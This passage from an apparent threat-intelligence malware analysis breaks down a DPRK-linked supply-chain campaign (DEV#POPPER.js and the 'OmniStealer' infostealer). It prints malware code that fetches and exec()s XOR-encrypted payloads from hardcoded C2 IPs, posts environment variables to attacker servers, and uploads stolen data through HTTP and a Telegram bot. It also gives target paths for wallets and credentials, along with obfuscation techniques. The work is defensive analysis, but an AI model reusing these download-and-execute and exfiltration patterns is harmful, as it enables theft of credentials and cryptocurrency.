(Python\r\nDropper)\r\n_V-selected C2 /snv None\r\nNothing (env\r\nvar exfiltration)\r\nN/A\r\n4\r\nStage 3 (Python\r\nDropper)\r\nDropper C2\r\n(23.27.20.143)\r\n/$/z1 None\r\nStage 4\r\n(Python\r\nInfoStealer)\r\nIn-memory\r\n→ exec()\r\n5\r\nRAT (Payload\r\n1_1_1)\r\n_V-selected C2\r\n/verify-human/{_V}\r\nNone\r\nNothing\r\n(registration)\r\nN/A\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 38 of 66\n\nStep\r\nMalware\r\nComponent\r\nFetches From Endpoint Headers What It Gets Saved As\r\n6\r\nRAT (Payload\r\n1_1_1)\r\n_V-selected C2 /snv None\r\nNothing (env\r\nvar exfiltration)\r\nN/A\r\n7\r\nRAT (Payload\r\n1_1_1)\r\n_V-selected C2\r\nWebSocket\r\n:443\r\nSocket.io\r\nRemote\r\ncommands\r\nN/A (real-time)\r\nNow, what we can do is spoof the requests without actually executing anything:\r\nStep\r\nMalware\r\nComponent\r\nFetches From Endpoint Headers\r\nWhat It\r\nGets\r\nSaved As\r\n1\r\nHTTP\r\nDropper\r\nDropper C2\r\n(23.27.20.143)\r\n/$/boot Sec-V: 0\r\nStage 3\r\n(Python\r\nDropper)\r\nboot_payload.txt\r\n2 Downloader\r\n_V-selected\r\nC2\r\n/verify-human/{_V}\r\nNone\r\nNothing\r\n(registration)\r\nN/A\r\n3\r\nRAT\r\n(Payload\r\n1_1_1)\r\n_V-selected\r\nC2\r\n/snv +\r\n/verify-human/{_V}None\r\nNothing\r\n(exfiltration)\r\nN/A\r\n4 Downloader\r\nDropper C2\r\n(23.27.20.143)\r\n/$/z1 None\r\nStage 4\r\n(InfoStealer)\r\nz1_decrypted_FINAL.txt\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 39 of 66\n\nNote: The /verify-human/ endpoints are NOT related to ClickFix campaigns at all. This is purely\r\ntelemetry/logging with a deliberately misleading name.\r\nTwo Separate C2 Infrastructures:\r\n1. _V-Selected C2 (for Loader \u0026 RAT):\r\n136.0.9.8:27017 (if _V starts with 'A')\r\n23.27.202.27:27017 (if _V starts with 'C')\r\n166.88.4.2:27017 (if _V is numeric)\r\nUsed for registration, telemetry, RAT control\r\n2. Dropper C2 (for Python payloads):\r\n23.27.20.143:27017 (hardcoded as global._H)\r\nUsed for delivering Stage 3 and 4\r\nSeparate from _V-based routing\r\nNote: you'll see here that _V tracks the Sec-V value which is likely Victim Versioning Systems in order to:\r\nRoute victims to different C2 servers\r\nTrack malware variants\r\nA/B test different payloads\r\nSegment victims for targeted operations\r\nOur assessment of this is:\r\n_V = 'A' → Infections from npm package 'malicious-pkg-A'\r\n_V = 'C' → Infections from compromised GitHub Action\r\n_V = '0' → Direct manual infections / testing\r\nWhy Two C2 Systems?\r\nSeparation of concerns:\r\nJavaScript payloads → _V-selected C2\r\nPython payloads → Dropper C2\r\nIf one C2 is taken down, the other still works\r\nModular architecture allows different payload updates\r\nSTEP 1: Fetch /$/boot from Dropper C2\r\nWho: Stage 2 (HTTP C2 Beacon - injected in VSCode)\r\nWhat happens:\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 40 of 66\n\nboot_url = f\"http://23.27.20.143:27017/$/boot\"\r\nheaders = {'User-Agent': USER_AGENT, 'Sec-V': '0'}\r\nMalware code reference (Stage 2):\r\nconst Q = q + \"/$/boot\"; // q = global._H = \"http://23.27.20.143:27017\"\r\nconst payload = await fetch(Q, {\r\n headers: {\r\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...',\r\n 'Sec-V': _V || 0 // Version tracking\r\n }\r\n});\r\n// XOR decrypt with key 'ThZG+0jfXE6VAGOJ'\r\n// Execute Stage 3 (Python Dropper)\r\nWhat gets fetched: Stage 3 (Payload 1_2_1) - The 430-line Python Dropper\r\nSaved to: boot_payload.txt\r\nSTEP 2: LOADER Registration with _V-Selected C2\r\nWho: Stage 1 (Blockchain Loader) after downloading payloads\r\nWhat happens:\r\n# Loader selects C2 based on _V variable:\r\nif _V[0] == 'A': c2 = \"136.0.9.8\"\r\nelif _V[0] == 'C': c2 = \"23.27.202.27\"\r\nelse: c2 = \"166.88.4.2\"\r\nverify_url = f\"http://{c2}:27017/verify-human/{_V}\"\r\ndata = {'text': f\"[{_V}] {hostname}$username / {os_info}\"}\r\nMalware code reference (Stage 1 - Blockchain Loader):\r\n// After downloading from blockchain\r\nconst response = await fetch(\\`http://\\${C2}:27017/verify-human/\\${_V}\\`, {\r\n method: 'POST',\r\n body: \\`text=[\\${_V}] \\${SESSION_ID} / \\${OS_INFO}\\`\r\n});\r\nPurpose:\r\nRegisters infection with C2\r\nSends victim system info\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 41 of 66\n\nC2 tracks which version (_V) of malware is running\r\nTelemetry for attacker\r\nNo payload fetched - just registration/logging\r\nSTEP 3: RAT Registration with _V-Selected C2\r\nWho: 530-line RAT (Payload 1_1_1) after being downloaded by Stage 1\r\nWhat happens:\r\n# RAT uses SAME _V-selected C2 as loader\r\nc2 = select_c2_based_on_v(_V)\r\n# 1. Exfiltrate environment variables\r\nsnv_url = f\"http://{c2}:27017/snv\"\r\ndata = {\r\n 'id': f\"{hostname}$username\",\r\n 'user': username,\r\n 'body': json.dumps(env_vars) # All environment variables\r\n}\r\n# 2. Register with C2\r\nverify_url = f\"http://{c2}:27017/verify-human/{_V}\"\r\ndata = {'text': f\"[{_V}] {hostname}$username / {os_info}\"}\r\nMalware code reference (RAT - Payload 1_1_1):\r\n// Exfiltrate environment variables\r\nd._R = async function(a0, a1) {\r\n const url = M + \"/verify-human/\" + e; // M = _V-selected C2\r\n const params = {text: `[${e}] ${SESSION_ID}`};\r\n await axios.post(url, params);\r\n};\r\n// Also posts to /snv endpoint\r\nconst snv_url = M + \"/snv\";\r\nconst env_data = {\r\n id: SESSION_ID,\r\n user: username,\r\n body: JSON.stringify(process.env)\r\n};\r\nawait axios.post(snv_url, env_data);\r\nPurpose:\r\nRAT exfiltrates all environment variables (API keys, tokens, credentials)\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 42 of 66\n\nRegisters with C2 for remote command capability\r\nEstablishes WebSocket connection for real-time control\r\nNo payload fetched - just data exfiltration and registration\r\nSTEP 4: Python Fetches /$/z1 from DROPPER C2\r\nWho: Stage 3 (Python Dropper - Payload 1_2_1)\r\nWhat happens:\r\n# CRITICAL: Python uses DROPPER C2, NOT _V-selected C2!\r\ndropper_c2 = \"23.27.20.143\" # This is global._H\r\nz1_url = f\"http://{dropper_c2}:27017/$/z1\"\r\nheaders = {'User-Agent': USER_AGENT} # NO Sec-V header!\r\nresponse = requests.get(z1_url)\r\nencrypted = base64.b64decode(response.content)\r\ndecrypted = decrypt_xor(encrypted, '9KyASt+7D0mjPHFY')\r\nexec(decrypted) # Execute Stage 4\r\nMalware code reference (Stage 3 - Python Dropper):\r\n# Python payload template (Lines 260-285)\r\ncode = \"\"\"\r\nimport sys,base64\r\nfrom urllib.request import Request,urlopen;\r\ndef x(a,b): # XOR decrypt\r\n kn=len(b);c=bytearray(len(a))\r\n for i in range(len(a)):c[i]=a[i]^ord(b[i%kn])\r\n return c\r\nif __name__=='__main__':\r\n id=sys.argv[1] # 'z1'\r\n # Fetch from DROPPER C2 (global._H), not _V-selected C2\r\n exec(x(\r\n base64.b64decode(\r\n urlopen(Request(\r\n f'{q}/$/{id}', # q = global._H = \"http://23.27.20.143:27017\"\r\n headers={'User-Agent':'Mozilla/5.0 ...'}\r\n )).read().decode('utf-8')\r\n ),\r\n '9KyASt+7D0mjPHFY'\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 43 of 66\n\n).decode('utf-8'), globals())\r\n\"\"\"\r\nWhat gets fetched: Stage 4 (Payload 1_2_1_1) - OmniStealer\r\nEncoding: Base64 → XOR decrypt with '9KyASt+7D0mjPHFY'\r\nSaved to: z1_decrypted_FINAL.txt\r\nPurpose: Final payload that steals browser data, wallets, credentials, files\r\nNote: The python script to emulate this is shared within the GitHub repository.\r\nPayload1_2_1_1 (Python OmniStealer)\r\nSHA256: 7a62286e68d879b45da710e1daa495978dcae31ae8f0709018a7d82343ec57e8\r\nWe are onto the final piece of the malware kill-chain. Ransom-ISAC have named this 'OmniStealer', because it's a\r\ncomprehensive information-stealing malware that targets virtually every major platform and data source. The code\r\nsystematically harvests credentials from Chrome, Edge, Brave, Firefox, password managers (1Password, Dashlane,\r\nBitwarden, NordPass), cloud storage services (Dropbox, Google Drive, OneDrive, iCloud, Box, Mega, pCloud),\r\nbrowser cookies, login databases, system information, environment variables, and extension data across Windows,\r\nmacOS, and Linux systems—essentially stealing \"omni\" (everything) it can access.\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 44 of 66\n\nObfuscation Techniques Used\r\n1. Reversed Base64 encoding: data[::-1] reverses the input string before decoding\r\n2. Base64 encoding: Hides the actual compressed data in ASCII-safe format\r\n3. Zlib compression: Further obscures the payload by compressing it\r\n4. Dynamic imports: Uses __import__() instead of normal import statements to avoid static analysis\r\n5. Immediate execution: exec() runs the decoded code directly without showing it first\r\n6. Chained operations: Multiple transformations are applied in sequence within a single line\r\ndef obfDecode(data): return __import__('zlib').decompress(__import__('base64').b64decode(data[::-1]))\r\nexec(obfDecode(b'siVDNIw/zDWscJb2iUdUSMXQoDrfo1jkmJ7WRvVdnoqSidaKiOnNEjOq3Mip0zL.....'))\r\nTo deobfuscate this, we can run the following python script:\r\ndef obfDecode(data):\r\n return __import__('zlib').decompress(__import__('base64').b64decode(data[::-1]))\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 45 of 66\n\n# Store the encoded data\r\nencoded = b'siVDNIw/zDWscJb2iUdUSMXQoDrfo1...' # (the full string)\r\n# Decode but DON'T execute\r\ndecoded = obfDecode(encoded)\r\n# Print or save to file to analyse\r\nprint(decoded.decode('utf-8'))\r\n# or\r\nwith open('decoded.py', 'wb') as f:\r\n f.write(decoded)\r\nThe deobfuscated payload and full script are stored within the GitHub repository.\r\nStage 4 OmniStealer Analysis - Comprehensive Data Exfiltration Tool\r\nFile Size: Approximately 3,500+ lines of heavily obfuscated Python code\r\nDesignation: Stage 4 (Payload 1_2_1_1) - Final InfoStealer that we call OmniStealer\r\nPrimary Targets\r\n1. Browser Data Theft\r\nSupported Browsers:\r\nChromium-based: Chrome, Edge, Brave, Opera, Opera GX, Vivaldi, Arc, Chromium\r\nFirefox-based: Firefox, all Firefox profiles\r\nData Stolen:\r\n✅ Passwords (login credentials from all profiles)\r\n✅ Cookies (session tokens, authentication cookies)\r\n✅ Credit Cards (saved payment methods)\r\n✅ Autofill Data (Web Data database)\r\n✅ Browser Extensions (see section below)\r\nDecryption Capabilities:\r\nWindows: DPAPI + AES-GCM decryption\r\nLinux: KWallet/SecretStorage decryption\r\nmacOS: Keychain password extraction\r\nHandles v10, v11, v24+ Chrome encryption schemes\r\n2. Browser Extension Targeting\r\nCryptocurrency Wallets (60+ extensions):\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 46 of 66\n\nwallet_extensions = {\r\n 'nkbihfbeogaeaoehlefnkodbefgpgknn': 'MetaMask',\r\n 'bfnaelmomeimhlpmgjnjophhpkkoljpa': 'Phantom',\r\n 'egjidjbpglichdcondbcbdnbeeppgdph': 'Trust',\r\n 'hnfanknocfeofbddgcijnmhnfnkdnaad': 'CoinBase',\r\n 'ibnejdfjmmkpcnlpebklmnkoeoihofec': 'TronLink',\r\n 'idnnbdplmphpflfnlkomgpfbpcgelopg': 'Xverse',\r\n 'dmkamcknogkgcdfhhbddcghachkejeap': 'Keplr',\r\n 'acmacodkjbdgmoleebolmdjonilkdbch': 'Rabby',\r\n # ... 50+ more wallet extensions\r\n}\r\nPassword Managers (10+ extensions):\r\npassword_managers = {\r\n 'aeblfdkhhhdcdjpifhhbdiojplfjncoa': '1Password',\r\n 'hdokiejnpimakedhajhdlcegeplioahd': 'LastPass',\r\n 'fdjamakpfbbddfjaooikfcpapjohcfmg': 'Dashlane',\r\n 'eiaeiblijfjekdanodkjadfinkhbfgcd': 'NordPass',\r\n 'nngceckbapebfimnlniiiahkandclblb': 'Bitwarden',\r\n # ... more\r\n}\r\n2FA Authenticators:\r\nauth_extensions = {\r\n 'bhghoamapcdpbohphigoooaddinpkbai': 'GoogleAuth'\r\n}\r\n3. Standalone Application Data\r\nCryptocurrency Wallets:\r\nThe malware specifically targets cryptocurrency wallet applications to steal private keys and wallet files, which\r\nwould give attackers direct access to victims' digital currency holdings:\r\ncrypto_apps = {\r\n 'Exodus/exodus.wallet': 'Exodus',\r\n 'atomic/Local Storage': 'Atomic',\r\n 'Electrum/wallets': 'Electrum',\r\n 'Bitcoin/wallets': 'Bitcoin Core',\r\n 'Dogecoin/wallets.dat': 'Dogecoin',\r\n 'Monero/wallets': 'Monero',\r\n '.bitmonero/wallets': 'Monero CLI',\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 47 of 66\n\n'.config/solana/id.json': 'Solana CLI'\r\n}\r\nPassword Managers:\r\nThe malware also targets password manager databases, which is particularly dangerous because these applications\r\nstore credentials for potentially hundreds of other accounts in encrypted vaults:\r\npassword_apps = {\r\n '1Password/1password.sqlite': '1Password',\r\n 'Bitwarden': 'Bitwarden',\r\n 'NordPass': 'NordPass',\r\n 'Dashlane/profiles': 'Dashlane',\r\n 'WinAuth': 'WinAuth',\r\n 'Proxifier4/Profiles': 'Proxifier'\r\n}\r\nmacOS Specific:\r\nOn macOS systems, the malware attempts to access the Keychain, which is Apple's password management system\r\nthat stores credentials, certificates, and encryption keys for the entire operating system:\r\nmacos_targets = {\r\n '~/Library/Keychains/login.keychain-db': 'macOS Keychain'\r\n}\r\n4. Development Credentials\r\nGit Credentials:\r\ndev_credentials = {\r\n '~/.git-credentials': 'Git credentials',\r\n '~/.config/git/credentials': 'Git config credentials',\r\n '~/.config/gh/hosts.yml': 'GitHub CLI tokens'\r\n}\r\n5. Cloud Storage Detection\r\nMonitors for:\r\ncloud_storage = {\r\n 'Dropbox': ['~/Dropbox*', '%UserProfile%\\\\Dropbox*'],\r\n 'GoogleDrive': ['~/My Drive*', '%UserProfile%\\\\My Drive*'],\r\n 'OneDrive': ['~/OneDrive', '%UserProfile%\\\\OneDrive'],\r\n 'iCloud': ['~/iCloud Drive', '~/Library/CloudStorage'],\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 48 of 66\n\n'Box': ['~/Box'],\r\n 'Mega': ['~/MEGAsync', '~/Documents/MEGA'],\r\n 'pCloud': ['%LocalAppData%\\\\pCloud\\\\Cache']\r\n}\r\nReports presence and paths (doesn't steal files, just logs locations)\r\n6. Windows Credentials\r\nWindows Credential Manager:\r\n# Extracts ALL stored Windows credentials via DPAPI\r\ndef extract_windows_credentials():\r\n # Uses CredEnumerateW API\r\n # Decrypts with CryptUnprotectData\r\n # Returns domain/username/password tuples\r\n7. Linux SecretStorage\r\nKeyring Access:\r\n# GNOME Keyring / KDE KWallet\r\nsecretstorage.get_default_collection()\r\n# Extracts all stored secrets with schemas and attributes\r\nData Processing Pipeline\r\nStep 1: Kill Processes (Optional)\r\nkill_processes = ['chrome', 'msedge', 'brave', 'firefox', 'opera']\r\n# Closes browsers to unlock database files\r\nStep 2: Database Copying\r\n# Creates temporary copies with timestamps\r\ncookie_copy = f\"{cookie_file}~{int(time.time())}\"\r\nshutil.copy2(original, cookie_copy)\r\nStep 3: Decryption\r\n# Platform-specific decryption:\r\n# - Windows: DPAPI → AES-GCM\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 49 of 66\n\n# - Linux: v11 key (SecretStorage) → AES-CBC\r\n# - macOS: Keychain → PBKDF2 → AES-CBC\r\nStep 4: JSON Export\r\n# organised by browser and profile:\r\nexport_path/\r\n├── login-Chrome-0-HASH.json\r\n├── login-Chrome-Profile1-HASH.json\r\n├── cookie-Brave-0-HASH.json\r\n├── card-Edge-0-HASH.json\r\n├── ext/\r\n│ ├── Chrome-0-HASH-nkbi.../MetaMask/\r\n│ └── Brave-0-HASH-bfna.../Phantom/\r\n└── app/\r\n ├── Exodus/exodus.wallet/\r\n ├── 1Password/1password.sqlite\r\n └── solana_id.json\r\nExfiltration Methods\r\nMethod 1: HTTP Upload (Primary)\r\nurl = f\"{z}/u/f\" # z = C2 server (23.27.20.143:27017)\r\nfiles = [(basename, open(file, 'rb')) for file in file_paths]\r\ndata = {\r\n 'client_id': f\"{hostname}$username\",\r\n 'path': '_auto',\r\n 'sid': Q # SID\r\n}\r\nrequests.post(url, data=data, files=files)\r\nMethod 2: Telegram Bot (Fallback)\r\nBOT_TOKEN = '7870147428:AAGbYG_eYkiAziCKRmkiQF-GnsGTic_3TTU'\r\nCHAT_ID = Ad # Version-specific chat ID\r\ntelegram_url = f\"https://api.telegram.org/bot{BOT_TOKEN}/sendDocument\"\r\n# Max file size: 50 MB\r\nMethod 3: Archive \u0026 Compress\r\n# Creates encrypted ZIP with password\r\nimport pyzipper\r\npassword = ',./,./,./' # Hardcoded password\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 50 of 66\n\ncompression = ZIP_LZMA # or ZIP_BZIP2 or ZIP_DEFLATED\r\npyzipper.AESZipFile(output, compression=compression, encryption=WZ_AES)\r\nArchive Naming:\r\n{hostname}$username_{timestamp}*#{MD5_HASH}.zip*\r\nExample: DESKTOP-7K3P9QM$john_250119_153045*#A7F3D8E2.zip*\r\nAnti-Analysis Features\r\n1. Cloud/Sandbox Detection (from Stage 3)\r\nInherits all detection from Stage 3 (AWS, Azure, GCP, Kali, etc.)\r\n2. Concurrent Execution Lock\r\nimport portalocker\r\nlock_file = '/tmp/tmp7A863DD1.tmp'\r\nportalocker.lock(lock_file, portalocker.LOCK_EX | portalocker.LOCK_NB)\r\n# Prevents multiple instances\r\n3. Self-Deletion\r\nif not debug_mode:\r\n os.remove(sys.argv[0]) # Deletes itself after execution\r\n4. Marker File\r\n# Creates marker to indicate \"already running\"\r\ntemp_file = f\"/tmp/{unique_id}\"\r\nwith open(temp_file, 'w') as f:\r\n f.write(unique_id)\r\nExecution Modes\r\nCommand-Line Flags:\r\n'-a' # Auto mode (full extraction)\r\n'-f' # Fast mode (skip some features)\r\n'-fc' # Fast + cookies mode\r\n'-fmac' # Force macOS mode\r\n'-hh' # HTTP upload only (skip Telegram)\r\n'-tt' # Telegram upload only (skip HTTP)\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 51 of 66\n\n'-v4' or '-vA' # Set _V to 'A'\r\n'-v5' or '-vC' # Set _V to 'C'\r\n'--debug' # Enable verbose logging\r\n'-nodel' # Don't self-delete\r\nVictim Fingerprinting\r\nCollected Metadata:\r\nvictim_info = {\r\n 'channel': h, # _V version\r\n 'pc_name': r, # Hostname\r\n 'pc_login': A0, # Username\r\n 'pc_info': Ax, # OS details\r\n 'path': os.getcwd(), # Current directory\r\n 'uuid': uuid.UUID(...), # Hardware UUID\r\n 'sid': Q, # Windows SID / Linux hardware UUID\r\n 'inz_ext_count': BO, # Number of wallet extensions found\r\n 'python': sys.executable,\r\n 'timestamp': int(time.time()),\r\n 'client_utc': datetime.utcnow()\r\n}\r\nSent to: {z}/u/e endpoint\r\nKey Technical Details\r\nEncryption Keys Extracted:\r\nOmniStealer employs platform-specific decryption techniques to extract the master encryption keys that browsers\r\nuse to protect stored credentials and cookies. Understanding these methods reveals how the malware bypasses\r\nbrowser security on each operating system:\r\n# Chrome/Chromium\r\nv10_key = PBKDF2(password, salt, iterations=1003) # macOS\r\nv11_key = PBKDF2(password, salt, iterations=1) # Linux\r\n# Windows\r\nencrypted_key = base64.b64decode(json['os_crypt']['encrypted_key'])\r\nv10_key = DPAPI_decrypt(encrypted_key[5:])\r\nCookie Format Conversion:\r\nAfter extracting and decrypting cookies from browser databases, OmniStealer converts them into a standardised\r\nJSON format that can be easily imported into other browsers or automation tools, making the stolen session data\r\nimmediately usable for account takeover attacks:\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 52 of 66\n\n# Converts Chrome cookie format to universal JSON:\r\n{\r\n 'domain': '.example.com',\r\n 'expirationDate': unix_timestamp,\r\n 'hostOnly': False,\r\n 'httpOnly': True,\r\n 'name': 'session_id',\r\n 'path': '/',\r\n 'sameSite': 'lax', # or 'strict', 'unspecified'\r\n 'secure': True,\r\n 'session': False,\r\n 'storeId': '0',\r\n 'value': 'decrypted_cookie_value'\r\n}\r\nSummary Statistics\r\nCategory Count Notes\r\nBrowsers Supported 10+ Chrome, Firefox, Edge, Brave, Opera, etc.\r\nWallet Extensions 60+ MetaMask, Phantom, Trust, Coinbase, etc.\r\nPassword Managers 10+ 1Password, LastPass, Bitwarden, etc.\r\nCrypto Wallets (Apps) 10+ Exodus, Electrum, Monero, Solana, etc.\r\nCloud Storage Detected 7+ Dropbox, Google Drive, OneDrive, etc.\r\nTotal Lines of Code 3,500+ Heavily obfuscated\r\nMax Archive Size 50 MB Telegram bot limit\r\nC2 Communication\r\nEndpoints Used:\r\n/u/e - Upload victim metadata\r\n/u/f - Upload file archives\r\n/verify-human/{version} - Registration (inherited from Stage 3)\r\nTelegram Bot:\r\nToken: 7870147428:AAGbYG_eYkiAziCKRmkiQF-GnsGTic_3TTU\r\nChat IDs vary by _V version\r\nFinal Notes\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 53 of 66\n\nThis is a production-grade infostealer designed for:\r\n✅ Mass credential harvesting\r\n✅ Cryptocurrency wallet theft\r\n✅ Developer credential extraction\r\n✅ Session hijacking (cookies)\r\n✅ Payment card theft\r\n✅ Multi-platform compatibility\r\n✅ Evasion of security products\r\n✅ Reliable exfiltration (dual upload methods)\r\nArchive Password: ,./,./,./ (used for all encrypted ZIPs)\r\nSelf-Protection: Locks execution, self-deletes, avoids sandboxes, uses encrypted archives\r\nThis represents the culmination of the entire infection chain - the actual data theft operation after all the staging\r\nand persistence mechanisms.\r\nPost-Exfiltration Threat Actor Activities\r\nOnce the infostealer successfully exfiltrates the encrypted archive containing browser credentials, cryptocurrency\r\nwallets, session cookies, and sensitive application data, the threat actor will pivot to immediate financial\r\nexploitation and corporate espionage. The attacker's primary objectives include:\r\nFinancial Exploitation: The threat actor will attempt to drain cryptocurrency wallets using the stolen seed\r\nphrases, private keys, and extension data from 60+ wallet applications (MetaMask, Phantom, Coinbase, Trust\r\nWallet, etc.). They will leverage stolen session cookies to bypass multi-factor authentication and gain\r\nunauthorised access to cryptocurrency exchanges, banking portals, and payment platforms, enabling direct\r\ntheft of funds. Saved credit card data extracted from browser databases will be used for fraudulent\r\ntransactions or sold on underground markets. The attacker will also exploit stolen credentials from\r\npassword managers (1Password, LastPass, Bitwarden) to access financial accounts, investment platforms,\r\nand corporate payment systems.\r\nAccount Takeover \u0026 Lateral Movement: Using the harvested login credentials and session tokens, the\r\nthreat actor will perform account takeover attacks across email accounts, cloud services (AWS, Azure,\r\nGoogle Cloud), code repositories (GitHub, GitLab), and internal corporate systems. The stolen developer\r\ncredentials (Git tokens, SSH keys, API keys from environment variables) provide direct access to source\r\ncode repositories, CI/CD pipelines, and production infrastructure, enabling further compromise of the\r\norganisation's technical stack.\r\nCorporate Espionage \u0026 Trade Secret Theft: Beyond immediate financial gain, the threat actor will\r\nanalyse the exfiltrated environment variables, configuration files, and application data to map the\r\norganisation's infrastructure, identify high-value targets, and extract proprietary algorithms, business\r\nstrategies, customer databases, and intellectual property. Access to cloud storage locations (detected via\r\nthe CD() function), internal documentation, and development tools provides deep insights into the inner\r\nworkings of the organisation, competitive advantages, unreleased products, and strategic plans. This\r\ninformation can be sold to competitors, used for targeted ransomware attacks, or leveraged for long-term\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 54 of 66\n\npersistent access to conduct ongoing surveillance and data exfiltration campaigns. The comprehensive nature\r\nof the stolen data—spanning personal credentials, corporate secrets, financial access, and cryptographic keys\r\n—positions the threat actor to inflict maximum financial damage while simultaneously compromising the\r\norganisation's competitive position and operational security for extended periods.\r\nConclusion\r\nThe DEV#POPPER.js and OmniStealer campaign represents a significant advancement in supply chain attacks\r\ntargeting development environments. By combining blockchain-based command-and-control infrastructure with\r\ncross-platform malware and comprehensive credential harvesting, DPRK-affiliated threat actors have created an\r\nattack chain that operates with surgical precision across Windows, macOS, and Linux systems. The dual-payload\r\narchitecture—JavaScript-based RAT for persistent access and Python-based stealer for mass exfiltration—\r\ndemonstrates a sophisticated understanding of modern development workflows and the critical assets that fuel both\r\ncryptocurrency operations and corporate espionage.\r\nThe scope of targeted data is staggering: 60+ cryptocurrency wallet extensions, 10+ password managers, credentials\r\nfrom every major browser, SSH keys, API tokens, cloud storage configurations, and session cookies that bypass\r\nmulti-factor authentication. This isn't opportunistic malware—it's a precision-engineered data vacuum designed to\r\nextract maximum value from developer workstations, where the convergence of personal cryptocurrency holdings\r\nand corporate access credentials creates an irresistible target for financially-motivated state actors.\r\nThe implications extend far beyond immediate financial theft. Stolen developer credentials provide persistent access\r\nto source code repositories, CI/CD pipelines, and production infrastructure, enabling follow-on attacks that can\r\nremain undetected for months or even years if developers fail to rotate compromised credentials, revoke stolen API\r\ntokens, and invalidate session cookies. The exfiltrated environment variables, configuration files, and cloud storage\r\nmappings create a comprehensive blueprint of organisational infrastructure that can be weaponised for ransomware\r\ndeployment, intellectual property theft, or long-term surveillance operations. This prolonged window of opportunity\r\nmeans that even after initial detection, organisations may remain vulnerable to secondary compromises if\r\ncomprehensive credential rotation and access reviews are not performed immediately.\r\nAs state-sponsored techniques continue to proliferate into cybercriminal ecosystems, the combination of\r\nTxDataHiding C2 infrastructure with production-grade infostealers will become standard tradecraft. The economic\r\ncalculus remains brutally asymmetric: attackers invest minimal resources (very low blockchain fees, freely available\r\nmalware frameworks) to achieve persistent compromise of high-value targets, while defenders face the daunting\r\nchallenge of securing increasingly complex development environments against threats that leave minimal forensic\r\nevidence and operate through infrastructure that cannot be taken down.\r\nResources \u0026 Detection Tooling\r\nTo support the security community in detecting and analysing this attack chain, we have made the following\r\nresources publicly available:\r\nGitHub Repository: https://github.com/Ransom-ISAC-Org/LOCKSTAR/tree/main/XCTDH_Crypto_Heist\r\nThis repository includes:\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 55 of 66\n\nComplete malware samples (DEV#POPPER.js and OmniStealer) for analysis and testing\r\nYARA rules for detecting payload variants, obfuscation patterns, and execution behaviours\r\nMicrosoft Defender for Endpoint detection rules tailored for this campaign\r\nSigma rules for SIEM correlation and threat hunting\r\nPayloadFetcher.js - simulation script demonstrating blockchain query chains and decryption routines\r\nIndicators of Compromise (IoCs) including C2 endpoints, Telegram bot tokens, and blockchain addresses\r\nThese resources enable security teams to build comprehensive detection capabilities, hunt for similar threats in their\r\nenvironments, conduct tabletop exercises simulating this attack chain, and contribute to the collective defense\r\nagainst blockchain-based malware infrastructure.\r\nAcknowledgments\r\nWe extend our deepest gratitude to all collaborators who contributed their expertise to this investigation: François-Julien Alcaraz, Nick Smart, Yashraj Solanki, Joshua Penny, Michael Minarovic, and Tammy Harper. Special thanks\r\nto the Ransom-ISAC members whose collective intelligence, collaborative approach, and tireless analysis made this\r\ncomprehensive technical breakdown possible.\r\nFinal Thoughts\r\nThe DEV#POPPER.js and OmniStealer campaign is not an isolated incident—it's a preview of the threat\r\nlandscape's future. As blockchain infrastructure becomes further entrenched in attacker toolkits and state-sponsored\r\ncapabilities proliferate into cybercriminal hands, organisations must fundamentally rethink their defensive\r\nstrategies. Traditional perimeter security, signature-based detection, and infrastructure takedowns are insufficient\r\nagainst adversaries who operate through immutable, decentralised networks and deploy cross-platform malware\r\ndesigned for developer environments.\r\nDefenders must invest in specialised blockchain analysis capabilities, behavioral detection systems that identify\r\nanomalous cryptocurrency API interactions, and comprehensive credential management programs that assume\r\nbrowser-stored secrets are inherently compromised. Developer workstations—long treated as trusted endpoints—\r\nmust be recognised as high-value targets requiring endpoint detection and response (EDR), application whitelisting,\r\nand rigorous network segmentation from production infrastructure.\r\nThe arms race continues, but with proper awareness, detection capabilities, and defensive depth, organisations can\r\nsignificantly reduce their attack surface and detect these sophisticated threats before catastrophic data loss occurs.\r\nMitre ATT\u0026CK\r\nTactic\r\nTactic\r\nID\r\nTechnique\r\nTechnique\r\nID\r\nInitial Access TA0001 Phishing T1566\r\nInitial Access TA0001 Supply Chain Compromise T1195\r\nExecution TA0002 Command and Scripting Interpreter: JavaScript T1059.007\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/\r\nPage 56 of 66\n\nTactic\r\nTactic\r\nID\r\nTechnique\r\nTechnique\r\nID\r\nExecution TA0002 Command and Scripting Interpreter: Python T1059.006\r\nExecution TA0002 User Execution: Malicious File T1204.002\r\nPersistence TA0003 Boot or Logon Autostart Execution T1547\r\nDefense Evasion TA0005 Obfuscated Files or Information T1027\r\nDefense Evasion TA0005 Deobfuscate/Decode Files or Information T1140\r\nCredential Access TA0006\r\nCredentials from Password Stores: Credentials from 